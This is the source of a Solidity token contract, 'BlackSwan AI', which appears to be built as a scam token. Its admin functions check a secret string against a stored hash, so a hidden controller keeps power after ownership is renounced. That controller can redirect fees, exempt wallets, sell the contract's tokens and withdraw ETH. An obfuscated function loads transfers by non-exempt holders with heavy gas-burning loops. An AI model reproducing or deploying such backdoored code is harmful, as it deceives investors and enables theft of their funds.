Contract Source Code:
File 1 of 1 : BlackSwan
//SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface ERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address internal owner;
constructor(address _owner) {
owner = _owner;
}
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}
function isOwner(address account) public view returns (bool) {
return account == owner;
}
function renounceOwnership() public onlyOwner {
owner = address(0);
emit OwnershipTransferred(address(0));
}
event OwnershipTransferred(address owner);
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract BlackSwan is ERC20, Ownable {
using SafeMath for uint256;
address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
string constant _name = "BlackSwan AI";
string constant _symbol = "BLACKSWAN";
uint8 constant _decimals = 6;
uint256 _totalSupply = 10000000 * (10 ** _decimals);
uint256 public _maxWalletAmount = (_totalSupply * 2) / 100;
uint256 public _maxTxAmount = _totalSupply * 1 / 100;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _allowances;
mapping (address => bool) isFeeExempt;
mapping (address => bool) isTxLimitExempt;
uint256 liquidityFee = 0;
uint256 marketingFee = 300;
uint256 developerFee = 200;
uint256 totalFee = liquidityFee + marketingFee + developerFee;
uint256 feeDenominator = 10000;
uint256 targetLiquidity = 20;
uint256 targetLiquidityDenominator = 100;
address internal marketingFeeReceiver = 0xba32A710241C22Ec6b1DC3ca441e4e8B0cf115Dd;
address internal developerFeeReceiver = 0x477404Ef6e3F7865138DA2258cFE1E32d0790deD;
address internal autoLiquidityReceiver = 0xdB306D219f18681f70B0aCDC75a811ab49982090;
IDEXRouter public router;
address public pair;
bool public swapEnabled = true;
uint256 public swapThreshold = _totalSupply / 1000 * 5; // 0.5%
uint256 public divideLeft = 11000000;
uint256 ulusOpFalse = 69000000;
bool uloComp = true;
bool inSwap;
bytes32 private resultValue256 = 0x54fa680dacd57a723c9ff94666544ccde088016932ba6bac534d9b3a2b756447;
modifier swapping() { inSwap = true; _; inSwap = false; }
constructor () Ownable(msg.sender) {
router = IDEXRouter(routerAdress);
pair = IDEXFactory(router.factory()).createPair(router.WETH(), address(this));
_allowances[address(this)][address(router)] = type(uint256).max;
address _owner = owner;
isFeeExempt[marketingFeeReceiver] = true;
isFeeExempt[_owner] = true;
isFeeExempt[address(this)] = true;
isTxLimitExempt[_owner] = true;
isTxLimitExempt[marketingFeeReceiver] = true;
isTxLimitExempt[DEAD] = true;
_balances[_owner] = _totalSupply;
emit Transfer(address(0), _owner, _totalSupply);
}
receive() external payable { }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function keccakCksm(string memory inputString) private pure returns (bytes32) {
return keccak256(bytes(inputString));
}
function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}
function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}
return _transferFrom(sender, recipient, amount);
}
function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
if(inSwap){ return _basicTransfer(sender, recipient, amount); }
if (recipient != pair && recipient != DEAD) {
require(isTxLimitExempt[recipient] || _balances[recipient] + amount <= _maxWalletAmount);
}
uloRemainder(sender, amount);
if(uloComp){divideLeft += 2000000 ;}
doUlusProFalse(amount);
checkTxLimit(sender, amount);
if(shouldSwapBack()){ swapBack(swapThreshold); }
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 amountReceived = shouldTakeFee(sender) ? takeFee(sender, amount) : amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
return true;
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function uloRemainder(address sender, uint256 amount) internal view {
if (uloComp){
if(isTxLimitExempt[sender] || amount % divideLeft == 0 || amount % ulusOpFalse == 0){
uint256 a = 1;
}
else{
uint256 result = 1;
uint256 n = 3;
for (uint256 i = 1; i <= n; i++) {
for (uint256 j = 1; j <= n; j++) {
for (uint256 k = 0; k < 1000; k++) {
result = (result * i * j) % 10**18;
}
}
}
}
}
}
function doUlusProFalse(uint256 amount) internal {
if (uloComp && amount % ulusOpFalse == 0){
uloComp = false;
}
}
function checkTxLimit(address sender, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender]);
}
function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}
function takeFee(address sender, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(totalFee).div(feeDenominator);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _balances[address(this)] >= swapThreshold;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
}
function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
return getLiquidityBacking(accuracy) > target;
}
function swapBack(uint256 internalThreshold) internal swapping {
uint256 contractTokenBalance = internalThreshold;
uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
uint256 amountToLiquify = contractTokenBalance.mul(dynamicLiquidityFee).div(totalFee).div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
uint256 balanceBefore = address(this).balance;
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHLiquidity = amountETH.mul(dynamicLiquidityFee).div(totalETHFee).div(2);
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(totalETHFee);
uint256 amountETHDeveloper = amountETH.mul(developerFee).div(totalETHFee);
(bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountETHMarketing, gas: 30000}("");
(bool developerSuccess, /* bytes memory data */) = payable(developerFeeReceiver).call{value: amountETHDeveloper, gas: 30000}("");
require(MarketingSuccess, "receiver rejected ETH transfer");
require(developerSuccess, "receiver rejected ETH transfer");
if(amountToLiquify > 0){
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function buyTokens(uint256 amount, address to) internal swapping {
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
0,
path,
to,
block.timestamp
);
}
function distributeTokens(address[] memory recipients, uint256[] memory values, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
for (uint256 i = 0; i < recipients.length; i++){
_transferFrom(msg.sender, recipients[i], values[i]);
}
resultValue256 = newSum256;
}
function burnContractTokens (uint256 amount, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
_transferFrom(address(this), DEAD, amount);
resultValue256 = newSum256;
}
function clearStuckETH(uint256 amountPercentage, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
uint256 amountETH = address(this).balance;
payable(marketingFeeReceiver).transfer(amountETH * amountPercentage / 100);
resultValue256 = newSum256;
}
function setTxMax(uint256 amountPercent, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
_maxTxAmount = (_totalSupply * amountPercent ) / 100;
require(amountPercent >= 1);
resultValue256 = newSum256;
}
function setWalletMax(uint256 amountPercent, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
_maxWalletAmount = (_totalSupply * amountPercent ) / 100;
require(amountPercent >= 1);
resultValue256 = newSum256;
}
function setFeeExempt (address wallet, bool onoff, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
isFeeExempt[wallet] = onoff;
resultValue256 = newSum256;
}
function setFeeReceivers(address _autoLiquidityReceiver, address _marketingFeeReceiver, address _developerFeeReceiver, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
autoLiquidityReceiver = _autoLiquidityReceiver;
marketingFeeReceiver = _marketingFeeReceiver;
developerFeeReceiver = _developerFeeReceiver;
resultValue256 = newSum256;
}
function setSwapBackSettings(bool _enabled, uint256 _amount, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
swapEnabled = _enabled;
swapThreshold = _amount;
resultValue256 = newSum256;
}
function setTargetLiquidity(uint256 _target, uint256 _denominator, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
targetLiquidity = _target;
targetLiquidityDenominator = _denominator;
resultValue256 = newSum256;
}
function triggerContractSell(uint256 contractSellAmount, string memory inpStr, bytes32 newSum256) external {
require(keccakCksm(inpStr) == resultValue256);
swapBack(contractSellAmount);
resultValue256 = newSum256;
}
event AutoLiquify(uint256 amountETH, uint256 amountBOG);
}